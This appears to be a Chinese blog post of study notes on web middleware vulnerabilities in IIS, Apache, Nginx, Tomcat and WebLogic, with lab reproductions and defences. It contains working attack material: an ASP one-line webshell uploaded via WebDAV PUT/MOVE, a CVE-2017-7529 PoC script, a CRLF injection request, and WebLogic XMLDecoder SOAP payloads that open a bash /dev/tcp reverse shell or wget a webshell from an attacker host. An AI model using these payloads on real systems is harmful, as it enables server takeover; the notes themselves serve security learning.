中间件漏洞汇总

Posted lainwith

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件漏洞汇总相关的知识,希望对你有一定的参考价值。

目录

文章内容没啥新颖的,只是温习了中间件漏洞输出成笔记而已😝

一些地址

下面的地址,详细的记录了中间件漏洞,我这里再学习复现一部分。
全网最全PDF版本:Web中间件常见漏洞总结.pdf
中间件漏洞复现:https://blog.csdn.net/zy15667076526/category_10361202.html

什么是中间件

我们经常管web中间件叫做web服务器或者web容器,中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

常见的web中间件有以下这些:

  • iis
  • apache
  • tomcat
  • nginx
  • jboss
  • Weblogic
  • WebSphere

iis6x篇

使用内部靶场 Windows Server 2003 Standard x64 Edition,以NAT模式运行,选择自动获取DNS、IP,修改物理机hosts配置文件,添加站点 upload.moonteam.com

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0

漏洞复现

  1. 开启 WebDAV 和写权限

  1. 打开网站,抓个包

  1. 把数据包发送到重放模块,GET方法改为OPTIONS,查看网站支持哪些协议

我们要用到的PUT和MOVE方法,网站都支持。

  1. 上传一句话木马

文件不能是asp后缀,否则会失败,可以上传txt格式的,然后借助MOVE方法改文件后缀

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 23

<%eval request("cmd")%>

如果上传asp后缀的,会直接失败。

  1. 修改后门文件的后缀

注意:请求包的最后是要有2个换行的,就是下面图片中的第4、5行

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/text.asp


  1. 连接菜刀

防御方式

方法1:关闭webdav

方法2:关闭写入权限

解析漏洞-基于文件名

原理

该版本默认将 *.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp。这里举个例子,可以看到.cdx扩展名被解析成asp。

复现

访问 sb.asp;1.jpg,可以直接看到大马。

大马内容:

防御

  1. 禁止创建和上传此类畸形文件
  2. 图片存放目录设置成禁止脚本文件执行
  3. 升级iis版本

解析漏洞-基于文件夹

原理

该版本默认将 *.asp/ 目录下的所有文件当成 asp 解析

复现

创建文件 .asp 文件夹,上传图片后缀的后门到此目录

去靶机后台看看,发现网站目录下有名为 c.asp 的文件夹,里面有个被改成jpg后缀的大马。

防御

  1. 禁止创建此类文件夹
  2. 升级iis版本

IIS短文件漏洞

介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

**短文件名特征: **

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增。

  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

  1. 所有小写字母均转换成大写的字母
  2. 长文件名中包含多个 . 的时候,以文件最后一个 . 作为短文件名的后缀

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包

含空格或者其他部分特殊字符,不论长度均会生成短文件。

复现

提醒一下,IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在;显示的404,说明目标存在该短文件名。
注:* 可以匹配n个字符,n可以为0

举个例子:

  1. 在网站下面新建一个名为 abcde1231111.txt 的文件

其对应的短文件名如下图

  1. 访问网站

访问:http://upload.moonteam.com/a*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab1*~1*/a.aspx ,返回400
通过这种暴力猜解的方式,适合程序做。下载工具:

第一个工具:IIS Short Name Scanner (适合windows)
下载下来之后,直接双击bat运行

打开之后,长这个样子

第一个选项:输入目标网址
第二个选项:你想使用一个新的配置文件吗
第三个选项:您是否只想验证目标是否易受攻击而不彻底扫描它
第四个选项:设置线程

第2个工具:IIS_shortname_Scanner (需要python2环境)
我这里是在kali中运行的,记得改一下hosts配置文件

测试结果

防御

  1. 升级.net framework
  2. 修改注册表键值:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem
修改 NtfsDisable8dot3NameCreation 为 1。修改完成后,需要重启系统生效。

  1. 命令行关闭,输入命令fsutil behavior set disable8dot3 1,然后重启系统。

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要将其先复制,再删除,再粘贴进去才行。

RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne 信息服务 IIS6.0 中的 WebDAV 服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求。

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

直接使用EXP:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 6666	#开启监听
python iis6\\ reverse\\ shell 192.168.239.151 80 192.168.239.141 6666	#反弹shell

防御

  1. 关闭 WebDav服务
  2. 产品升级
  3. 部署安全设备

iis7x篇

使用内部靶场 08server1 进行测试。以NAT模式运行,选择自动获取DNS、IP。

文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,对于任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件。

复现

  1. 先访问下phpinfo。打开网站(免得还得看网站地址、端口啥的)

  1. 在网站根目录下准备一个1.jpg的文件,文件内容如下图

  1. 成功解析出1.jpg

防御

配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

此时,再刷新网页,会发现漏洞已经没了

HTTP.SYS远程代码执行(MS15-034)

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入。IIS服务进程依赖HTTP.SYS,HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。(暂无相关EXP,目前只能实现DoS效果,把目标打成蓝屏)

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

方式1:
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

响应码304,失败了。

解决办法很简单,删除多余的请求头就行了。

方法2:
poc 地址:https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

方法3:

电脑已经死机了,什么都动不了

修复建议

安装修复补丁(KB3042553)

apache篇

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构

  • bin:存放常用命令工具,如httpd
  • cgi-bin:存放linux下常用命令,如xxx.sh
  • error:错误记录
  • htdocs:网站源码
  • icons:网站图标
  • manual:手册
  • modules:扩展模块

未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。那么哪些后缀Apache不认识?不在mime.types 里面的都不认识 (Multipurpose Internet Mail Extensions)

  1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
  2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
  3. 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。

复现

这里使用phpstudy进行复现。

实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的._

$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

原理

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php,那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现

取消注释httpd.conf文件中的AddType application/x-httpd-php .php .phtml,那么,如果文件后缀中存在.php.phtml,文件就会被解析成php文件

制作一个测试文件

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 把配置不当的文件进行修改

目录遍历漏洞

原理

原理:当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

就是下图的一个效果,网页中会显示出网站的目录结构。说起来,我自己的所有靶机都开启了这个目录浏览😂

防御

找到 httpd.conf,把到 Options + Indexes + FollowSymLinks + ExecCGI 修改成Options -Indexes +FollowSymLinks +ExecCGI并保存,然后重启phpstudy即可。

    • Indexes 允许目录浏览
    • Indexes 禁止目录浏览

这个时候,再尝试访问就不行了。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

复现详情参见:CVE-2017-15715 Repetition

漏洞描述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配 \\n\\r
影响范围:Apache 2.4.0~2.4.29版本

漏洞复现

使用内部靶场

  1. 打开环境

  1. 上传一个phpinfo的文件

  1. 直接上传是要失败滴

  1. 在test.php后面添加一个空格,然后通过16进制编辑,把空格改为0a

  1. 访问上传的文件,直接访问是要失败滴

  1. 访问地址后面添加0a即可

nginx篇

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

漏洞描述

该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。在已经上传了恶意文件1.jpg后,访问/1.jpg/xxx.php,使得Nginx将其解析为php文件传给php-cgi程序(传给路径位于SERVER[“SCRIPT_FILENAME”],修复去除路径位于SERVER[“PATH_INFO”]),但cgi程序将其解析为1.jpg并执行。

cgi.fix_pathinfo=1说明存在漏洞

复现

这里在网站根目录下准备一个phpinfo的文件,后缀改为jpg

修复方案

  1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
  2. php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历漏洞

漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

漏洞原理

修改nginx.conf,在如下图位置设置为autoindex on

复现

漏洞修复

  1. 设置 autoindex off 关闭目录浏览

  1. 删除 autoindex on

空字节代码执行漏洞

漏洞描述

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问 url+%00.php 来执行其中的php代码。如:http://local/robots.txt.php会把robots.txt文件当作php来执行。
影响版本:

  • nginx 0.5.*
  • nginx 0.6.*
  • nginx 0.7 <= 0.7.65
  • nginx 0.8 <= 0.8.37

漏洞复现

图源网络,本地暂无环境

  1. 开启nginx

  1. 在网站目录下添加1.jpg文件

  1. 访问该文件

  1. 抓包,添加%00

这里由于该图非正常,在抓包时最后面添加 ..,可以让burpsuite抓到

把请求修改为/1.jpg..php,然后发包即可

漏洞修复

  1. 在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*)\\.php) 
	set $php_url $1;

if (!-e $php_url.php) 
	return 403;

  1. 升级 nginx

整数溢出漏洞(CVE-2017-7529)

漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。

漏洞复现

POC地址:https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529
POC代码:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = 
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"

offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  1. 打开内部测试靶场

  1. POC开打

CRLF注入漏洞

漏洞描述

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF注入漏洞

漏洞复现

设置https跳转,这样就可以接收到url,进而进行处理。在nginx.conf文件中添加下面一行话。return 302 https://$host$uri;,在配置原有基础上增加这一行信息,目的是为了让http的请求跳转到https。

方法1:

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.239.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

方法2:
访问https://localhost/%0ASet-cookie:JSPSESSID%3D3

漏洞修复

删除配置不当的配置

文件名逻辑漏洞(CVE-2013-4547)

漏洞描述

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞复现

暂不具备相关环境,漏洞浮现详情参见:Nginx 文件名逻辑漏洞(CVE-2013-4547)

tomcat篇

tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍:

|-- webapp # 站点根目录
    |-- META-INF # META-INF 目录
    |		 `-- MANIFEST.MF # 配置清单文件
    |-- WEB-INF # WEB-INF 目录
    | 	|-- classes # class文件目录
    |   | 		|-- *.class # 程序需要的 class 文件
    | 	| 		`-- *.xml # 程序需要的 xml 文件
    | 	|-- lib # 库文件夹
    | 	|		 `-- *.jar # 程序需要的 jar 包
    | 	`-- web.xml # Web应用程序的部署描述文件
    |-- <userdir> # 自定义的目录
    |-- <userfiles> # 自定义的资源文件

  • webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
  • META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生成。
  • WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
  • /WEB-INF/classes:存放程序所需要的所有 Java class 文件。
  • /WEB-INF/lib:存放程序所需要的所有 jar 文件。
  • /WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组成应用的其它组件,以及应用初始化参数、安全管理约束等。

Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)

漏洞复现

  1. 启动内部靶场

  1. 访问站点,并抓包

  1. 上传websell

这里使用冰蝎,主要是冰蝎自带多种类型的webshell,这里使用jsp格式的。
支持三种上传绕过方式,默认使用 PUT 加文件名是失败的,需要绕过:

  • PUT /shell.jsp%20
  • PUT /shell.jsp::$DATA
  • PUT /shell.jsp/

  1. 发送数据包,看到是201响应码,应该是成功了。试着访问一下webshell地址

  1. 连接冰蝎

前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。默认端口:7001

目录

一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

2.漏洞复现

3.修复建议:

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

2.漏洞复现

3.修复建议

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

2.漏洞复现

3.修复建议

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

2.漏洞复现


一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

1.1影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

1.2漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1.3漏洞利用

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。

 注意:漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri路径

默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2.漏洞复现

使用vulhub的靶场

 访问 /wls-wsat/CoordinatorPortType,返回漏洞利用条件页面,说明可能存在漏洞了

构造post请求包写入文件:

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 目标ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 522

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问/bea_wls_internal/test.jsp已成功写入

   

使用nc监听端口,构造POST包进行反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 网站的ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp;/dev/tcp/要反弹shell的ip/端口 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 开启nc监听

nc -lvvp 要监听的端口

 发送POST请求

 成功反弹shell

CVE-2017-3506与CVE-2017-10271的利用方法一样,只是3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object 。

private void validate(InputStream is)
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try 
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() 
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException 
if(qName.equalsIgnoreCase("object")) 
throw new IllegalStateException("Invalid context type: object");


);
 catch(ParserConfigurationException var5) 
throw new IllegalStateException("Parser Exception", var5);
 catch (SAXExceptionvar6) 
throw new IllegalStateException("Parser Exception", var6);
 catch (IOExceptionvar7) 
throw new IllegalStateException("Parser Exception", var7);

就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补丁,产生了CVE-2017-10271 

比如写入文件

3.修复建议:

1.安装补丁
2.或删除wls-wsat组件

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

1.1影响版本

影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件:
bea_wls9_async_response.war
wsat.war 

1.2漏洞原理

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

1.访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞

2.访问/_async/如果返回403,也可能存在漏洞

  

漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri 

默认受影响的uri
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

wls-wsat.war组件受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。 我们先来看一下CVE-2017-10271的补丁代码:

public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException 
if(qName.equalsIgnoreCase("object")) 
throw new IllegalStateException("Invalid element qName:object");
 else if(qName.equalsIgnoreCase("new")) 
throw new IllegalStateException("Invalid element qName:new");
 else if(qName.equalsIgnoreCase("method")) 
throw new IllegalStateException("Invalid element qName:method");
 else 
if(qName.equalsIgnoreCase("void")) 
for(int attClass = 0; attClass < attributes.getLength();++attClass) 
if(!"index".equalsIgnoreCase(attributes.getQName(attClass)))
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));



if(qName.equalsIgnoreCase("array")) 
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) 
throw new IllegalStateException("The value of class attribute is notvalid for array element.");

其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。

绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从CVE-2019-2725的补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度 

else if (qName.equalsIgnoreCase("class")) 
throw new IllegalStateException("Invalid element qName:class");

else 
if (qName.equalsIgnoreCase("array")) 
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) 
throw new IllegalStateException("The value of class attribute is not valid for array element.");

String lengthString = attributes.getValue("length");
if (lengthString != null) 
try 
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) 
throw new IllegalStateException("Exceed array length limitation");

this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) 
throw new IllegalStateException("Exceed over all array limitation.");

 catch (NumberFormatException var8) 

2.漏洞复现

使用vulfocus的在线靶场

 访问 /_async/AsyncResponseService返回漏洞利用页面,即可能存在该漏洞

 先把后门文件放到服务器,等下让目标下载该后门文件

构造post请求包

注意:有两种写入shell方法,本次使用第二种

第一种是放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/_async/shell.jsp访问webshell
第一种是放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/bea_wls_internal/shell.jsp访问webshell

POST /_async/AsyncResponseService HTTP/1.1
Host: 目标ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://shell所在的服务器ip/shell.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

 

 访问shell地址:/bea_wls_internal/shell.jsp?pwd=023&i=whoami

3.修复建议

1. 及时打上官方CVE-2019-2725补丁包。官方已于4月26日公布紧急补丁包

2.升级本地JDK版本

因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

3.配置URL访问控制策略

部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。

4.删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

1.1影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

1.2漏洞原理

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 

